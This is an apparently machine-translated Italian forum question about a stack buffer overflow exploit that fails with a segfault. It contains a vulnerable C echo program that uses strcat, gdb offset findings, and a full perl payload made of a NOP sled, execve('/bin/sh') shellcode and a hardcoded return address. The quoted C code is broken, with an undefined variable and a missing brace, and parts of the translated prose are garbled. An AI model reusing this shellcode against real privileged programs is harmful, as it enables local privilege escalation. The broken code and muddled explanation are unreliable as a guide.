Voglio sfruttare un overflow del buffer basato sullo stack per scopi educativi. Esiste una tipica funzione chiamata con un parametro from main che viene data come input dal programma e un buffer locale in cui il parametro è salvato. nops + shellcode + address_shellcode lo sfrutterò. Dopo il debugging con gdb ho trovato l'indirizzo dello shellcode come passerà come parametro e subito dopo lo strcpy esamino lo stack e $ ebp + 8 che è l'indirizzo di ritorno ha sovrascrivere con l'indirizzo dello shellcode.Quindi ho quello che voglio.Ma quando ho fatto un passo avanti l'esecuzione che ho ottenuto:
->shellcode_address in ?? ()
e poi
Cannot find bound of current function
L'indirizzo di ritorno ha il valore che voglio. Qualche idea su cosa sta succedendo? Anche quando lo eseguo ho un errore di segmentazione e lo ho compilato con -g -fno-stack-protector
Ecco il codice:
void echo(char *s, unsigned int length, long int a, short b)
{
unsigned char len = (unsigned char) l;
char errormsg[] = "bla bla bla\n";
char buf[250] = "You typed: ";
strcat(buf+11, s);
fprintf(stdout, "%s\n", buf);
int main(int argc, char **argv)
{
gid_t r_gid, e_gid;
/* check arguments */
if (argc != 2) {
fprintf(stderr, "please provide one argument to echo\n");
return 1;
}
/* clear environment */
clearenv();
setenv ("PATH", "/bin:/usr/bin:/usr/local/bin", 1);
setenv ("IFS", " \t\n", 1);
/* temporarily drop privileges */
e_gid = getegid();
r_gid = getgid();
setregid(e_gid, r_gid);
/* call the echo service */
echo(argv[1], strlen(argv[1]), 0xbccb3423, 323);
return 0;
}
Ho scoperto con gdb che se si sovrascrivono 309 byte, si sovrascriverà esattamente l'indirizzo di ritorno con gli ultimi 4 byte del proprio input, che è esattamente ciò che vogliamo. Quindi dal momento che il codice shell è lungo 45 byte, vogliamo che sth voglia: \ x90 x 260. "shellcode". Indirizzo 4bytes (260 + 45 + 4 = 309)
Per trovare l'indirizzo del primo parametro della funzione eseguo più volte gdb con input una stringa lunga 309 byte e l'indirizzo era sempre lo stesso: 0x5ffff648
Quindi se aggiungo un indirizzo (ordine inverso cioè: 0xabcdefgh - > \ xgh \ xef \ xcd \ xab) che è più alto dove il parametro punta, il processore cadrà in un comando NOP, non facendo nulla finché non raggiunge lo shellcode
Finisco con questo:
r perl -e 'print ("\x90" x 260 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x3e\xf8\xff\x5f")'